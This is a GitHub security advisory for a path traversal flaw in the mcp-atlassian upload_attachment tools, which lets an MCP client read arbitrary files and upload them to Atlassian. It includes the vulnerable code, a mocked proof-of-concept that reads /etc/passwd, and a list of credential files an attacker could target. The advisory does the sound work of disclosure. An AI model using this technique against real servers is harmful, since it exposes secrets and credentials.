GHSA-MFV2-4WVM-9PGP

Vulnerability from github – Published: 2026-09-22 20:35 – Updated: 2026-09-22 20:35
VLAI
Summary
MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call
Details

Summary

The upload_attachment functions in both the Jira and Confluence modules accept a user-controlled file_path parameter and open the specified file for reading without calling validate_safe_path(). An authenticated MCP client can supply an arbitrary path such as /etc/passwd or /proc/self/environ, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.

This is an incomplete fix relative to GHSA-xjgw-4wvw-rgm4: the download_attachment and download_issue_attachments paths were hardened with validate_safe_path(), but the upload direction was left unguarded in both the Jira and Confluence modules.


Details

Affected functions:

File Function Line
src/mcp_atlassian/jira/attachments.py upload_attachment() ~372–415
src/mcp_atlassian/confluence/attachments.py upload_attachment() ~62–108
src/mcp_atlassian/confluence/attachments.py _upload_attachment_direct() ~476–477

Jira — vulnerable code path (jira/attachments.py):

def upload_attachment(self, issue_key: str, file_path: str) -> dict:
    ...
    if not os.path.isabs(file_path):
        file_path = os.path.abspath(file_path)   # resolves relative paths

    if not os.path.exists(file_path):             # confirms file exists
        ...

    # ⚠ validate_safe_path() is NEVER called here
    filename = os.path.basename(file_path)
    with open(file_path, "rb") as file:           #  arbitrary file opened
        attachment = self.jira.add_attachment(
            issue_key=issue_key, filename=file_path
        )

Compare with the protected download path in the same file:

def download_attachment(self, url: str, target_path: str) -> bool:
    ...
    validate_safe_path(target_path)   #   upload has no equivalent

Confluence — vulnerable code path (confluence/attachments.py):

def upload_attachment(self, content_id, file_path, ...):
    ...
    if not os.path.isabs(file_path):
        file_path = os.path.abspath(file_path)

    # ⚠ validate_safe_path() is NEVER called
    filename = os.path.basename(file_path)
    attachment = self._upload_attachment_direct(
        content_id, file_path, filename, comment, minor_edit
    )

# Inside _upload_attachment_direct():
files = {"file": (filename, open(file_path, "rb"))}  # ← arbitrary file opened

PoC

Tested against commit d8bc786 (v0.21.1, latest main). No real Atlassian credentials required — the API call is stubbed.

Jira PoC (poc_001_jira_path_traversal.py):

import sys, os, types
from unittest.mock import MagicMock

sys.path.insert(0, "src")

def _make_pkg(name):
    m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m

atlassian_pkg  = _make_pkg("atlassian")
atlassian_jira = _make_pkg("atlassian.jira")
atlassian_pkg.jira = atlassian_jira
atlassian_jira.Jira = type("Jira", (), {
    "__init__": lambda s, *a, **k: None,
    "_session": MagicMock()
})
atlassian_pkg.Jira = atlassian_jira.Jira
keyring = _make_pkg("keyring")
keyring.get_password = keyring.set_password = lambda *a, **k: None

from mcp_atlassian.jira.attachments import AttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig

config = JiraConfig(url="https://test.atlassian.net", auth_type="basic",
                    username="x", api_token="x")

class FakeFetcher(AttachmentsMixin):
    def __init__(self):
        self.config = config
        self.jira   = MagicMock()
        self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"}

result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd")
print(result)

Observed output — Jira (Kali Linux, v0.21.1):

image

[*] Target file : /etc/passwd
[*] Calling     : AttachmentsMixin.upload_attachment()

[*] Return value: {'success': True, 'issue_key': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'}
[*] Files opened: ['/etc/passwd']

[!!!] VULNERABLE — file opened with no path validation
      add_attachment call args: call(issue_key='TEST-1', filename='/etc/passwd')

Observed output — Confluence (Kali Linux, v0.21.1):

image

[*] Target file : /etc/passwd
[*] Calling     : ConfluenceAttachmentsMixin.upload_attachment()

[*] Return value: {'success': True, 'content_id': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'}
[*] Files opened: ['/etc/passwd']

[!!!] VULNERABLE — /etc/passwd opened without validate_safe_path()
      upload_attachment() → _upload_attachment_direct() → open(file_path)
      download_attachment() in same file IS protected — asymmetric fix

Key evidence: - success: True — no exception raised, no path validation triggered - size: 3388 — /etc/passwd was opened and read by os.path.getsize() - Both modules affected independently — neither Jira nor Confluence has an upload-side guard

In a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page.


Impact

Any authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process:

  • /etc/shadow — system password hashes
  • /proc/self/environ — process environment variables (API keys, secrets)
  • ~/.mcp-atlassian/oauth-*.json — stored OAuth refresh tokens
  • SSH private keys, TLS certificates, application configuration files

No special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the jira_upload_attachment and confluence_upload_attachment MCP tools are affected.

Root cause: The validate_safe_path() utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to download operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77266"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:35:06Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `upload_attachment` functions in both the Jira and Confluence modules accept a user-controlled `file_path` parameter and open the specified file for reading **without calling `validate_safe_path()`**. An authenticated MCP client can supply an arbitrary path such as `/etc/passwd` or `/proc/self/environ`, causing the server process to read and transmit the file\u0027s contents to the remote Atlassian instance as an attachment.\n\nThis is an **incomplete fix** relative to GHSA-xjgw-4wvw-rgm4: the `download_attachment` and `download_issue_attachments` paths were hardened with `validate_safe_path()`, but the upload direction was left unguarded in both the Jira and Confluence modules.\n\n---\n\n### Details\n\n**Affected functions:**\n\n| File | Function | Line |\n|------|----------|------|\n| `src/mcp_atlassian/jira/attachments.py` | `upload_attachment()` | ~372\u2013415 |\n| `src/mcp_atlassian/confluence/attachments.py` | `upload_attachment()` | ~62\u2013108 |\n| `src/mcp_atlassian/confluence/attachments.py` | `_upload_attachment_direct()` | ~476\u2013477 |\n\n**Jira \u2014 vulnerable code path (`jira/attachments.py`):**\n\n```python\ndef upload_attachment(self, issue_key: str, file_path: str) -\u003e dict:\n    ...\n    if not os.path.isabs(file_path):\n        file_path = os.path.abspath(file_path)   # resolves relative paths\n\n    if not os.path.exists(file_path):             # confirms file exists\n        ...\n\n    # \u26a0 validate_safe_path() is NEVER called here\n    filename = os.path.basename(file_path)\n    with open(file_path, \"rb\") as file:           #  arbitrary file opened\n        attachment = self.jira.add_attachment(\n            issue_key=issue_key, filename=file_path\n        )\n```\n\nCompare with the **protected** download path in the same file:\n\n```python\ndef download_attachment(self, url: str, target_path: str) -\u003e bool:\n    ...\n    validate_safe_path(target_path)   #   upload has no equivalent\n```\n\n**Confluence \u2014 vulnerable code path (`confluence/attachments.py`):**\n\n```python\ndef upload_attachment(self, content_id, file_path, ...):\n    ...\n    if not os.path.isabs(file_path):\n        file_path = os.path.abspath(file_path)\n\n    # \u26a0 validate_safe_path() is NEVER called\n    filename = os.path.basename(file_path)\n    attachment = self._upload_attachment_direct(\n        content_id, file_path, filename, comment, minor_edit\n    )\n\n# Inside _upload_attachment_direct():\nfiles = {\"file\": (filename, open(file_path, \"rb\"))}  # \u2190 arbitrary file opened\n```\n\n---\n\n### PoC\n\nTested against commit `d8bc786` (v0.21.1, latest `main`). No real Atlassian credentials required \u2014 the API call is stubbed.\n\n**Jira PoC (`poc_001_jira_path_traversal.py`):**\n\n```python\nimport sys, os, types\nfrom unittest.mock import MagicMock\n\nsys.path.insert(0, \"src\")\n\ndef _make_pkg(name):\n    m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m\n\natlassian_pkg  = _make_pkg(\"atlassian\")\natlassian_jira = _make_pkg(\"atlassian.jira\")\natlassian_pkg.jira = atlassian_jira\natlassian_jira.Jira = type(\"Jira\", (), {\n    \"__init__\": lambda s, *a, **k: None,\n    \"_session\": MagicMock()\n})\natlassian_pkg.Jira = atlassian_jira.Jira\nkeyring = _make_pkg(\"keyring\")\nkeyring.get_password = keyring.set_password = lambda *a, **k: None\n\nfrom mcp_atlassian.jira.attachments import AttachmentsMixin\nfrom mcp_atlassian.jira.config import JiraConfig\n\nconfig = JiraConfig(url=\"https://test.atlassian.net\", auth_type=\"basic\",\n                    username=\"x\", api_token=\"x\")\n\nclass FakeFetcher(AttachmentsMixin):\n    def __init__(self):\n        self.config = config\n        self.jira   = MagicMock()\n        self.jira.add_attachment.return_value = {\"id\": \"99\", \"filename\": \"passwd\"}\n\nresult = FakeFetcher().upload_attachment(issue_key=\"TEST-1\", file_path=\"/etc/passwd\")\nprint(result)\n```\n\n**Observed output \u2014 Jira (Kali Linux, v0.21.1):**\n\n\u003cimg width=\"1342\" height=\"131\" alt=\"image\" src=\"https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc\" /\u003e\n\n```\n[*] Target file : /etc/passwd\n[*] Calling     : AttachmentsMixin.upload_attachment()\n\n[*] Return value: {\u0027success\u0027: True, \u0027issue_key\u0027: \u0027TEST-1\u0027, \u0027filename\u0027: \u0027passwd\u0027, \u0027size\u0027: 3388, \u0027id\u0027: \u002799\u0027}\n[*] Files opened: [\u0027/etc/passwd\u0027]\n\n[!!!] VULNERABLE \u2014 file opened with no path validation\n      add_attachment call args: call(issue_key=\u0027TEST-1\u0027, filename=\u0027/etc/passwd\u0027)\n```\n\n**Observed output \u2014 Confluence (Kali Linux, v0.21.1):**\n\n\u003cimg width=\"2682\" height=\"576\" alt=\"image\" src=\"https://github.com/user-attachments/assets/17fc641f-6c62-4e3f-87d0-81d6977f5004\" /\u003e\n\n```\n[*] Target file : /etc/passwd\n[*] Calling     : ConfluenceAttachmentsMixin.upload_attachment()\n\n[*] Return value: {\u0027success\u0027: True, \u0027content_id\u0027: \u0027123456\u0027, \u0027filename\u0027: \u0027passwd\u0027, \u0027size\u0027: 3388, \u0027id\u0027: \u0027att-99\u0027}\n[*] Files opened: [\u0027/etc/passwd\u0027]\n\n[!!!] VULNERABLE \u2014 /etc/passwd opened without validate_safe_path()\n      upload_attachment() \u2192 _upload_attachment_direct() \u2192 open(file_path)\n      download_attachment() in same file IS protected \u2014 asymmetric fix\n```\n\nKey evidence:\n- `success: True` \u2014 no exception raised, no path validation triggered\n- `size: 3388` \u2014 `/etc/passwd` was opened and read by `os.path.getsize()`\n- Both modules affected independently \u2014 neither Jira nor Confluence has an upload-side guard\n\nIn a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page.\n\n---\n\n### Impact\n\nAny authenticated MCP client \u2014 including a compromised AI agent, a prompt-injected session, or a malicious plugin \u2014 can read and exfiltrate arbitrary files readable by the server process:\n\n- `/etc/shadow` \u2014 system password hashes\n- `/proc/self/environ` \u2014 process environment variables (API keys, secrets)\n- `~/.mcp-atlassian/oauth-*.json` \u2014 stored OAuth refresh tokens\n- SSH private keys, TLS certificates, application configuration files\n\nNo special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the `jira_upload_attachment` and `confluence_upload_attachment` MCP tools are affected.\n\n**Root cause:** The `validate_safe_path()` utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to *download* operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.",
  "id": "GHSA-mfv2-4wvm-9pgp",
  "modified": "2026-09-22T20:35:06Z",
  "published": "2026-09-22T20:35:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-mfv2-4wvm-9pgp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…